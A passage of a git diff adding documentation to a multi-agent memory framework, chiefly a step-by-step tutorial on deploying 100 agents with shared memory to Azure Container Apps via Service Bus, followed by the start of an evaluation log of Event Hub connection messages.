+|-----------|-----------------|-------|---------| +| `local` | In-process queue; all agents share one Python process | 1 machine | Microseconds | +| `redis` | Redis pub/sub; agents on same network | 10s of agents | <1ms | +| `azure_service_bus` | Service Bus topic/subscriptions; cross-machine | 100s of agents | 10–100ms | + +**Production topology (Azure):** 20 Container Apps (`amplihive-app-0`…`amplihive-app-19`), 100 agents (`agent-0`…`agent-99`, 5 per container). Service Bus namespace `hive-sb-dj2qo2w7vu5zi`, topic `hive-graph`, 100 subscriptions (one per agent). Each agent's `NetworkGraphStore` wraps a local `InMemoryGraphStore` and publishes `create_node` / `search_query` events to the topic. Cross-container OODA memory sharing flows through Service Bus; intra-container agents share in-process. + +**Backend selection:** Containers use `cognitive` (Kuzu) on ephemeral volumes (`EmptyDir`). Ephemeral volumes support POSIX advisory file locks, so Kuzu works identically in containers and local development. Azure Files (SMB) is no longer used for Kuzu persistence. + +--- + +*Investigation only — no code changes were made to agent files.* +*Updated: 2026-03-06* diff --git a/docs/tutorial_prompt_to_distributed_hive.md b/docs/tutorial_prompt_to_distributed_hive.md new file mode 100644 index 000000000..68a9e9889 --- /dev/null +++ b/docs/tutorial_prompt_to_distributed_hive.md @@ -0,0 +1,730 @@ +# From Prompt to 100 Distributed Agents in Azure + +A step-by-step guide that takes you from a single agent prompt to a +100-agent distributed hive mind running in Azure Container Apps. Each step +builds on the previous one, with working code and real CLI commands you can +run today. + +**Real Azure resources used in this tutorial:** + +| Resource | Name | +| --- | --- | +| Resource Group | `hive-mind-rg` | +| Container Registry | `hivacrhivemind` | +| Service Bus Namespace | `hive-sb-dj2qo2w7vu5zi` | + +--- + +## Step 1: Write Your Agent Prompt + +Every hive mind starts with a prompt that defines what your agent knows and +cares about. Write a system prompt describing your agent's domain and purpose. + +```python +# prompts/security_analyst.py +SYSTEM_PROMPT = """You are a cloud security analyst for a distributed infrastructure. +You monitor server events, detect anomalies, and correlate findings across systems. + +When you learn new facts: +- Extract entities (servers, IPs, ports, users, incidents) +- Note temporal context (timestamps, event sequences) +- Identify relationships (which servers communicate, which users have access) + +When answering questions: +- Ground every answer in facts you have learned +- State confidence levels when uncertain +- Note if a question requires information you may not have seen +""" +``` + +Save this as `prompts/security_analyst.py`. You will pass it to the Memory +facade in Step 2. + +--- + +## Step 2: Create Local Memory via Memory Facade (Zero Config) + +The `Memory` facade requires zero configuration to get started. It defaults +to a local `cognitive` backend backed by a Kuzu graph database. No network, +no YAML, no environment variables required. + +```python +from amplihack.memory import Memory + +# Zero-config local memory — works out of the box +mem = Memory("security-analyst-1") +``` + +Under the hood this resolves to: +- `topology = "single"` (no network) +- `backend = "cognitive"` (Kuzu graph DB) +- `storage_path = ~/.amplihack/agents/security-analyst-1/` +- `kuzu_buffer_pool_mb = 256` + +The storage path is created automatically on first use. The Kuzu database +persists between runs. + +```python +# Verify the memory is alive +print(mem._agent_name) # "security-analyst-1" +mem.close() # Always close to flush the Kuzu buffer +``` + +--- + +## Step 3: remember() and recall() Locally + +The entire API is two methods: `remember()` stores a fact, `recall()` retrieves +relevant facts for a query. + +```python +from amplihack.memory import Memory + +mem = Memory("security-analyst-1") + +# remember() ingests raw text and extracts structured facts via LLM +mem.remember( + "Server prod-db-01 runs PostgreSQL 15.5 on 10.0.1.5:5432. " + "It has 64 GB RAM and 16 vCPUs. Last patched 2026-01-15 for CVE-2025-1234." +) + +mem.remember( + "Security incident INC-2026-0012: Brute-force SSH detected on prod-db-01 " + "from 203.0.113.17. Firewall rule FW-101 added to block source IP. " + "Incident resolved 2026-01-20." +) + +mem.remember( + "Server prod-web-01 runs Nginx 1.26 on 10.0.2.10:443. " + "Serves the public API behind Azure Front Door." +) + +# recall() finds relevant facts using hybrid vector + keyword search +facts = mem.recall("PostgreSQL incident prod-db-01") +for fact in facts: + print(f"[{fact.get('confidence', 0):.0%}] {fact.get('content', fact)}") + +# Ask a specific question +facts = mem.recall("What servers were involved in security incidents?") +for fact in facts: + print(fact) + +mem.close() +``` + +**What happens inside `remember()`:** + +1. LLM extracts structured facts as JSON (`context`, `fact_text`, `confidence`) +2. Facts are stored in the local Kuzu graph DB +3. Temporal metadata is extracted (timestamps, sequences) +4. A concept map is generated to link related facts + +**What happens inside `recall()`:** + +1. Hybrid retrieval: vector similarity (BAAI/bge-base-en-v1.5) + keyword overlap +2. Results scored: `0.5 * semantic + 0.3 * confirmations + 0.2 * source_trust` +3. Top-K facts returned, sorted by score + +--- + +## Step 4: Scale to Multiple Agents with shared_hive + +Add a second agent and connect them through a shared `DistributedHiveGraph`. +Both agents learn different facts. Either agent can recall facts learned by +the other because all facts flow through the shared hive. + +```python +from pathlib import Path +from amplihack.memory import Memory +from amplihack.agents.goal_seeking.hive_mind.distributed_hive_graph import ( + DistributedHiveGraph, +) + +# Create a shared DHT-backed hive (handles up to 100+ agents) +shared_hive = DistributedHiveGraph( + hive_id="security-ops-hive", + replication_factor=3, # Each fact copied to 3 shards + query_fanout=5, # Query up to 5 shards per request + gossip_enabled=True, +) + +# Agent A: Infrastructure specialist +agent_a = Memory( + "infra-analyst", + topology="distributed", + shared_hive=shared_hive, +) + +# Agent B: Security incident analyst +agent_b = Memory( + "incident-analyst", + topology="distributed", + shared_hive=shared_hive, +) + +# Agent A learns infrastructure facts +agent_a.remember( + "Server prod-db-01 (10.0.1.5) upgraded to PostgreSQL 15.5. " + "Patch for CVE-2025-1234 applied. 3 read replicas: prod-db-02, 03, 04." +) + +# Agent B learns security facts +agent_b.remember( + "CVE-2025-1234 affects PostgreSQL instances. APT-29 actively exploiting. " + "All unpatched PostgreSQL 15.x instances at risk." +) + +# Cross-agent recall: Agent B can answer infra questions +facts = agent_b.recall("Is prod-db-01 patched for CVE-2025-1234?") +print("Agent B (incident analyst) answers infra question:") +for fact in facts: + print(f" {fact}") + +# Cross-agent recall: Agent A can answer threat intel questions +facts = agent_a.recall("What CVEs are being actively exploited?") +print("\nAgent A (infra analyst) answers threat intel question:") +for fact in facts: + print(f" {fact}") + +agent_a.close() +agent_b.close() +``` + +The `DistributedHiveGraph` distributes facts across agent shards via consistent +hashing (DHT). Each agent holds only its shard (`O(F/N)` memory per agent +instead of `O(F)` total), making it suitable for 100+ agent deployments. + +--- + +## Step 5: Configure for Distributed via memory.yaml and Env Vars + +For teams and production deployments, configure the memory stack declaratively +instead of passing parameters in code. Create `~/.amplihack/memory.yaml`: + +```yaml +# ~/.amplihack/memory.yaml +topology: distributed +backend: cognitive +kuzu_buffer_pool_mb: 512 +replication_factor: 3 +query_fanout: 5 +gossip_enabled: true +gossip_rounds: 3 + +# Azure Service Bus for cross-container fact propagation +memory_transport: azure_service_bus +memory_connection_string: "Endpoint=sb://hive-sb-dj2qo2w7vu5zi.servicebus.windows.net/;SharedAccessKeyName=RootManageSharedAccessKey;SharedAccessKey=" +``` + +Or set environment variables (override YAML values): + +```bash +export AMPLIHACK_MEMORY_TOPOLOGY=distributed +export AMPLIHACK_MEMORY_BACKEND=cognitive +export AMPLIHACK_MEMORY_TRANSPORT=azure_service_bus +export AMPLIHACK_MEMORY_CONNECTION_STRING="Endpoint=sb://hive-sb-dj2qo2w7vu5zi.servicebus.windows.net/;..." +export AMPLIHACK_MEMORY_KUZU_BUFFER_MB=512 +export AMPLIHACK_MEMORY_REPLICATION_FACTOR=3 +export AMPLIHACK_MEMORY_QUERY_FANOUT=5 +export AMPLIHACK_MEMORY_GOSSIP_ENABLED=true +``` + +With this configuration, `Memory("my-agent")` automatically uses the +distributed topology and Azure Service Bus — no code changes needed: + +```python +from amplihack.memory import Memory + +# Config comes from memory.yaml or env vars +mem = Memory("security-analyst-42") +mem.remember("Server prod-web-03 is under high load: CPU 95%, MEM 88%.") +facts = mem.recall("servers under high load") +mem.close() +``` + +The `NetworkGraphStore` wraps the local store and publishes +`network_graph.create_node` events to Service Bus. Other agents subscribe +and replicate the write locally, enabling cross-container fact sharing. + +--- + +## Step 6: Create Hive Config with amplihack-hive create + +Use the `amplihack-hive` CLI to declare the desired hive topology in a YAML +manifest. The controller reconciles actual state to match the manifest. + +```bash +# Create a new hive manifest for 10 agents across 2 groups +amplihack-hive create \ + --name security-ops-hive \ + --agents 10 \ + --groups 2 \ + --transport azure_service_bus \ + --connection-string "$AMPLIHACK_MEMORY_CONNECTION_STRING" \ + --output hive-config.yaml +``` + +This generates `hive-config.yaml`: + +```yaml +# hive-config.yaml +apiVersion: amplihack.io/v1 +kind: HiveManifest +metadata: + name: security-ops-hive + namespace: default +spec: + topology: federated + transport: + type: azure_service_bus + connection_string: "Endpoint=sb://hive-sb-dj2qo2w7vu5zi.servicebus.windows.net/;..." + hive_store: + type: distributed + replication_factor: 3 + query_fanout: 5 + gossip_enabled: true + broadcast_threshold: 0.9 + groups: + - id: group-0 + domain: security + agent_count: 5 + - id: group-1 + domain: infrastructure + agent_count: 5 + gateway: + enabled: true + port: 8090 +``` + +Apply the manifest to converge the local system: + +```bash +amplihack-hive apply --file hive-config.yaml +``` + +The `HiveController` reads the manifest and creates the federation tree: +root hive → group hives → agents. High-confidence facts (≥ 0.9) auto-broadcast +across groups. All facts are reachable via `query_federated()`. + +--- + +## Step 7: Add Agents with Prompts and Optional Kuzu DBs + +Define individual agent specs in the manifest. Each agent can have its own +prompt variant and an optional Kuzu database path for persistent local memory. + +```yaml +# hive-config.yaml (extended with agent specs) +spec: + agents: + - id: soc-agent-0 + domain: security + group: group-0 + prompt_variant: 4 # Expert: full domain context + kuzu_db_path: /data/soc-0/kuzu # Persistent Kuzu DB (Azure Files) + env: + AGENT_ROLE: "SOC Tier 1 analyst — triage and initial investigation" + + - id: soc-agent-1 + domain: security + group: group-0 + prompt_variant: 5 # Expert + multi-step reasoning + kuzu_db_path: /data/soc-1/kuzu + env: + AGENT_ROLE: "SOC Tier 2 analyst — deep forensics and root cause" + + - id: infra-agent-0 + domain: infrastructure + group: group-1 + prompt_variant: 3 # Structured answers + kuzu_db_path: /data/infra-0/kuzu + env: + AGENT_ROLE: "Infrastructure engineer — server state and capacity" + + - id: adversarial-agent + domain: adversarial + group: group-1 + prompt_variant: 1 # Minimal — injects noise for testing + kuzu_db_path: /data/adversary/kuzu + env: + AGENT_ROLE: "Adversarial agent — injects false facts for consensus testing" +``` + +Load the manifest and instantiate agents in Python: + +```python +from amplihack.agents.goal_seeking.hive_mind.controller import HiveController + +controller = HiveController.from_yaml("hive-config.yaml") +controller.apply() # Creates all agents, hives, and connections + +# Access individual agents +soc_agent = controller.get_agent("soc-agent-0") +soc_agent.learn("INC-2026-0099: Ransomware detected on prod-file-01. Isolated.") + +infra_agent = controller.get_agent("infra-agent-0") +infra_agent.recall("Which servers have been isolated?") + +controller.close() +``` + +**Prompt variants:** + +| Variant | Style | Use Case | +| --- | --- | --- | +| 1 | Minimal | Testing, adversarial agents | +| 2 | Basic | Simple recall tasks | +| 3 | Structured | Explicit answer dimensions | +| 4 | Detailed | Full domain context | +| 5 | Expert | Multi-step reasoning, memory organization | + +--- + +## Step 8: Deploy to Azure via deploy.sh + +Run the idempotent deploy script to provision all Azure infrastructure and +deploy your agents as Container Apps. + +```bash +# Set required env vars +export ANTHROPIC_API_KEY="your-api-key-here" # pragma: allowlist secret +export HIVE_RESOURCE_GROUP="hive-mind-rg" +export HIVE_LOCATION="eastus" +export HIVE_AGENT_COUNT=100 + +# Deploy everything (safe to run repeatedly — idempotent) +bash experiments/hive_mind/deploy_azure_hive.sh +``` + +**What gets provisioned in `hive-mind-rg`:** + +| Resource | Name | Details | +| --- | --- | --- | +| Resource Group | `hive-mind-rg` | `eastus` | +| Container Registry | `hivacrhivemind` | Basic SKU, admin enabled | +| Service Bus | `hive-sb-dj2qo2w7vu5zi` | Standard SKU, `hive-events` topic | +| Storage Account | Azure Files | `agent-databases` share, Kuzu persistence | +| Container Apps Env | `hive-mind-env` | Consumption tier | +| Container Apps | 100 agent containers | 2.0 CPU / 4.0 GiB each | +| Log Analytics | `hive-logs-*` | Centralized logging | + +**Manual Azure CLI commands for custom deployments:** + +```bash +# Create resource group +az group create \ + --name hive-mind-rg \ + --location eastus + +# Create container registry +az acr create \ + --resource-group hive-mind-rg \ + --name hivacrhivemind \ + --sku Basic \ + --admin-enabled true + +# Build and push agent image +az acr build \ + --registry hivacrhivemind \ + --image hive-mind-agent:latest \ + --file experiments/hive_mind/Dockerfile.hive \ + . + +# Create Service Bus namespace and topic +az servicebus namespace create \ + --resource-group hive-mind-rg \ + --name hive-sb-dj2qo2w7vu5zi \ + --sku Standard + +az servicebus topic create \ + --resource-group hive-mind-rg \ + --namespace-name hive-sb-dj2qo2w7vu5zi \ + --name hive-events + +# Get Service Bus connection string +az servicebus namespace authorization-rule keys list \ + --resource-group hive-mind-rg \ + --namespace-name hive-sb-dj2qo2w7vu5zi \ + --name RootManageSharedAccessKey \ + --query primaryConnectionString -o tsv + +# Create Container Apps environment +az containerapp env create \ + --name hive-mind-env \ + --resource-group hive-mind-rg \ + --location eastus + +# Deploy one agent container (repeat for each agent) +az containerapp create \ + --name soc-agent-0 \ + --resource-group hive-mind-rg \ + --environment hive-mind-env \ + --image hivacrhivemind.azurecr.io/hive-mind-agent:latest \ + --registry-server hivacrhivemind.azurecr.io \ + --cpu 2.0 --memory 4.0Gi \ + --min-replicas 1 --max-replicas 1 \ + --env-vars \ + AGENT_ID=soc-agent-0 \ + AGENT_DOMAIN=security \ + AMPLIHACK_MEMORY_TOPOLOGY=distributed \ + AMPLIHACK_MEMORY_TRANSPORT=azure_service_bus \ + "AMPLIHACK_MEMORY_CONNECTION_STRING=Endpoint=sb://hive-sb-dj2qo2w7vu5zi.servicebus.windows.net/;..." \ + ANTHROPIC_API_KEY="$ANTHROPIC_API_KEY" +``` + +--- + +## Step 9: Monitor and Manage with status, logs, stop + +Use Azure CLI and the deploy script to monitor and manage your running agents. + +### Check deployment status + +```bash +# High-level status via deploy script +bash experiments/hive_mind/deploy_azure_hive.sh --status + +# List all container apps in the resource group +az containerapp list \ + --resource-group hive-mind-rg \ + --query "[].{name:name, status:properties.runningStatus}" \ + --output table + +# Check a specific agent's replica status +az containerapp replica list \ + --name soc-agent-0 \ + --resource-group hive-mind-rg \ + --output table +``` + +### Stream logs + +```bash +# Stream logs from a specific agent +az containerapp logs show \ + --name soc-agent-0 \ + --resource-group hive-mind-rg \ + --follow + +# Query Log Analytics for cross-agent logs +az monitor log-analytics query \ + --workspace hive-logs-dj2qo2w7vu5zi \ + --analytics-query " + ContainerAppConsoleLogs_CL + | where ContainerAppName_s startswith 'soc-agent' + | where Log_s contains 'FACT_PROMOTED' + | project TimeGenerated, ContainerAppName_s, Log_s + | order by TimeGenerated desc + | limit 50 + " \ + --output table +``` + +### Monitor Service Bus + +```bash +# Check Service Bus topic message counts +az servicebus topic show \ + --resource-group hive-mind-rg \ + --namespace-name hive-sb-dj2qo2w7vu5zi \ + --name hive-events \ + --query "{activeMessages:countDetails.activeMessageCount, transferMessages:countDetails.transferMessageCount}" \ + --output table + +# List all subscriptions (one per agent) +az servicebus topic subscription list \ + --resource-group hive-mind-rg \ + --namespace-name hive-sb-dj2qo2w7vu5zi \ + --topic-name hive-events \ + --query "[].name" \ + --output tsv +``` + +### Stop and restart agents + +```bash +# Scale an agent to 0 replicas (stop without deleting) +az containerapp update \ + --name soc-agent-0 \ + --resource-group hive-mind-rg \ + --min-replicas 0 \ + --max-replicas 0 + +# Restart an agent +az containerapp update \ + --name soc-agent-0 \ + --resource-group hive-mind-rg \ + --min-replicas 1 \ + --max-replicas 1 + +# Tear down everything +bash experiments/hive_mind/deploy_azure_hive.sh --cleanup +# or manually: +az group delete --name hive-mind-rg --yes --no-wait +``` + +--- + +## Step 10: Feed Content and Verify Cross-Agent Recall + +With 100 agents running in Azure, feed content via the HTTP API that each +agent exposes and verify that facts learned by one agent are accessible from +another via Service Bus propagation. + +### Feed content to agents + +Each container runs an HTTP server (`agent_runner.py`) with two endpoints: + +```bash +# Get the URL of a deployed agent +SOC_URL=$(az containerapp show \ + --name soc-agent-0 \ + --resource-group hive-mind-rg \ + --query "properties.configuration.ingress.fqdn" -o tsv) + +INFRA_URL=$(az containerapp show \ + --name infra-agent-0 \ + --resource-group hive-mind-rg \ + --query "properties.configuration.ingress.fqdn" -o tsv) + +# Feed a security fact to the SOC agent +curl -X POST "https://${SOC_URL}/learn" \ + -H "Content-Type: application/json" \ + -d '{"content": "CRITICAL: Zero-day RCE in OpenSSL 3.4.x (CVE-2026-9999). All prod servers must patch within 24h. prod-db-01 and prod-web-01 confirmed vulnerable."}' + +# Feed an infrastructure fact to the infra agent +curl -X POST "https://${INFRA_URL}/learn" \ + -H "Content-Type: application/json" \ + -d '{"content": "prod-db-01 patched to OpenSSL 3.4.1 at 2026-03-06T14:30Z. prod-web-01 patch scheduled for 2026-03-06T18:00Z."}' +``` + +### Verify cross-agent recall + +After Service Bus propagates the `FACT_PROMOTED` event (typically 1-3 seconds): + +```bash +# Ask the INFRA agent about the security incident (cross-agent recall) +curl -X POST "https://${INFRA_URL}/query" \ + -H "Content-Type: application/json" \ + -d '{"question": "Which servers are vulnerable to CVE-2026-9999 and have they been patched?"}' + +# Expected: infra agent knows about the CVE from the SOC agent via Service Bus +# { +# "answer": "prod-db-01 was confirmed vulnerable to CVE-2026-9999 and has been patched +# to OpenSSL 3.4.1 as of 2026-03-06T14:30Z. prod-web-01 remains vulnerable +# with a patch scheduled for 2026-03-06T18:00Z.", +# "sources": ["soc-agent-0", "infra-agent-0"], +# "confidence": 0.92 +# } + +# Ask the SOC agent about the patch status (cross-agent recall) +curl -X POST "https://${SOC_URL}/query" \ + -H "Content-Type: application/json" \ + -d '{"question": "Has prod-db-01 been patched for the OpenSSL zero-day?"}' + +# Expected: SOC agent knows the patch status from the infra agent via Service Bus +``` + +### Python batch verification + +```python +import httpx +import time + +SOC_URL = "https://soc-agent-0.your-env.eastus.azurecontainerapps.io" +INFRA_URL = "https://infra-agent-0.your-env.eastus.azurecontainerapps.io" + +# Feed facts to different agents +with httpx.Client() as client: + # SOC agent learns about 5 incidents + for i in range(5): + client.post(f"{SOC_URL}/learn", json={ + "content": f"INC-2026-{1000+i}: Security event on prod-server-{i:02d}." + }) + + # Infra agent learns about server state + for i in range(5): + client.post(f"{INFRA_URL}/learn", json={ + "content": f"prod-server-{i:02d} is running at 78% capacity, 256GB RAM." + }) + +# Wait for Service Bus propagation +time.sleep(5) + +# Cross-agent recall verification +with httpx.Client() as client: + # Infra agent should know about incidents (from SOC via Service Bus) + resp = client.post(f"{INFRA_URL}/query", json={ + "question": "Which servers have had security incidents?" + }) + print("Infra agent cross-recall result:", resp.json()["answer"]) + + # SOC agent should know about server capacity (from infra via Service Bus) + resp = client.post(f"{SOC_URL}/query", json={ + "question": "What is the capacity utilization of prod-server-00?" + }) + print("SOC agent cross-recall result:", resp.json()["answer"]) +``` + +### Run the full eval against deployed agents + +```bash +# Run the eval against the deployed Azure agents +bash experiments/hive_mind/deploy_azure_hive.sh --eval + +# Or run with custom parameters +python -m amplihack_eval.run \ + --scenario long_horizon \ + --topology distributed \ + --num-agents 100 \ + --hive-resource-group hive-mind-rg \ + --service-bus hive-sb-dj2qo2w7vu5zi \ + --output-dir results/azure-100-agents +``` + +--- + +## Summary + +| Step | What You Did | Key API | +| --- | --- | --- | +| 1 | Wrote an agent prompt | Plain text / Python string | +| 2 | Created local memory (zero config) | `Memory("agent-name")` | +| 3 | Stored and retrieved facts locally | `mem.remember()`, `mem.recall()` | +| 4 | Connected two agents via shared hive | `DistributedHiveGraph` + `shared_hive=` | +| 5 | Configured for distributed via YAML/env | `memory.yaml`, `AMPLIHACK_MEMORY_*` | +| 6 | Declared hive topology | `amplihack-hive create`, `hive-config.yaml` | +| 7 | Added agents with prompts and Kuzu DBs | `HiveController.from_yaml()` | +| 8 | Deployed 100 agents to Azure | `deploy_azure_hive.sh`, `az containerapp` | +| 9 | Monitored and managed deployment | `az containerapp logs`, Service Bus metrics | +| 10 | Fed content and verified cross-agent recall | `/learn`, `/query` HTTP endpoints | + +## Azure Resources Quick Reference + +```bash +# Resource group +az group show --name hive-mind-rg + +# Container registry +az acr show --name hivacrhivemind --resource-group hive-mind-rg + +# Service Bus +az servicebus namespace show \ + --name hive-sb-dj2qo2w7vu5zi \ + --resource-group hive-mind-rg + +# All container apps +az containerapp list \ + --resource-group hive-mind-rg \ + --query "[].name" --output tsv +``` + +## Next Steps + +- **[ARCHITECTURE.md](hive_mind/ARCHITECTURE.md)** — deep dive into DHT sharding, + CRDTs, gossip protocol, and RRF retrieval +- **[EVAL.md](hive_mind/EVAL.md)** — evaluation methodology and interpreting results +- **[GETTING_STARTED.md](hive_mind/GETTING_STARTED.md)** — in-process tutorial + from single agent to federated hive +- **[distributed_hive_mind.md](distributed_hive_mind.md)** — DistributedHiveGraph + architecture and DHT internals diff --git a/eval_500_turns_report.json b/eval_500_turns_report.json new file mode 100644 index 000000000..e82fea881 --- /dev/null +++ b/eval_500_turns_report.json @@ -0,0 +1,4468 @@ +2026-03-13 03:18:20,172 [remote_agent_adapter] INFO: RemoteAgentAdapter: listening on 'eval-responses-amplihiveeval' (eval-reader) +2026-03-13 03:18:20,172 [azure.eventhub._eventprocessor.event_processor] INFO: EventProcessor 'fce27f86-762f-47ec-89c8-6315b6765b2f' is being started +2026-03-13 03:18:20,182 [remote_agent_adapter] INFO: RemoteAgentAdapter: input=hive-events-amplihiveeval response=eval-responses-amplihiveeval agents=5 run_id=fc61f3b1b249 +2026-03-13 03:18:20,183 [amplihack.eval.long_horizon_memory] INFO: Starting long-horizon memory eval: 100 turns, 20 questions +2026-03-13 03:18:20,183 [amplihack_eval.data.long_horizon] INFO: Dialogue generation complete: 100 turns in 0.00s +2026-03-13 03:18:20,189 [amplihack.eval.long_horizon_memory] INFO: Generated 100 turns, 20 questions +2026-03-13 03:18:20,401 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:20,442 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:20,572 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:20,572 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:20,577 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:20,583 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:20,588 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:20,588 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:20,594 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:20,594 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:20,599 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:20,599 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:20,604 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:20,610 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:20,615 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:20,615 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:20,620 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:20,620 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:20,635 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:20,657 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:20,696 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:20,718 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:20,756 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:20,778 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:20,817 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:20,817 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:20,839 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:20,839 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:20,883 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:20,883 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:20,905 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:20,905 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:21,136 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:21,158 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:21,158 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:21,164 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:21,164 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:21,199 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:21,222 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:21,222 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:21,233 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:21,233 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:21,318 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:21,318 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:21,324 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:21,324 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:21,345 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:21,350 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:21,350 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:21,355 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:21,355 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:21,355 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:21,356 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:21,361 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:21,366 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:21,366 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:21,366 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:21,371 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:21,371 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:21,371 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:21,371 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:21,371 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:21,372 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:21,372 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:21,372 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:21,372 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:21,372 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:21,372 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:21,372 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:21,372 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:21,372 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:21,372 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:21,372 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:21,372 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:21,372 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:21,372 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:21,393 [azure.eventhub._eventprocessor.event_processor] INFO: EventProcessor 'fce27f86-762f-47ec-89c8-6315b6765b2f' has claimed partition '2' +2026-03-13 03:18:21,393 [azure.eventhub._eventprocessor.event_processor] INFO: EventProcessor 'fce27f86-762f-47ec-89c8-6315b6765b2f' has claimed partition '8' +2026-03-13 03:18:21,393 [azure.eventhub._eventprocessor.event_processor] INFO: EventProcessor 'fce27f86-762f-47ec-89c8-6315b6765b2f' has claimed partition '0' +2026-03-13 03:18:21,393 [azure.eventhub._eventprocessor.event_processor] INFO: EventProcessor 'fce27f86-762f-47ec-89c8-6315b6765b2f' has claimed partition '3' +2026-03-13 03:18:21,393 [azure.eventhub._eventprocessor.event_processor] INFO: EventProcessor 'fce27f86-762f-47ec-89c8-6315b6765b2f' has claimed partition '1' 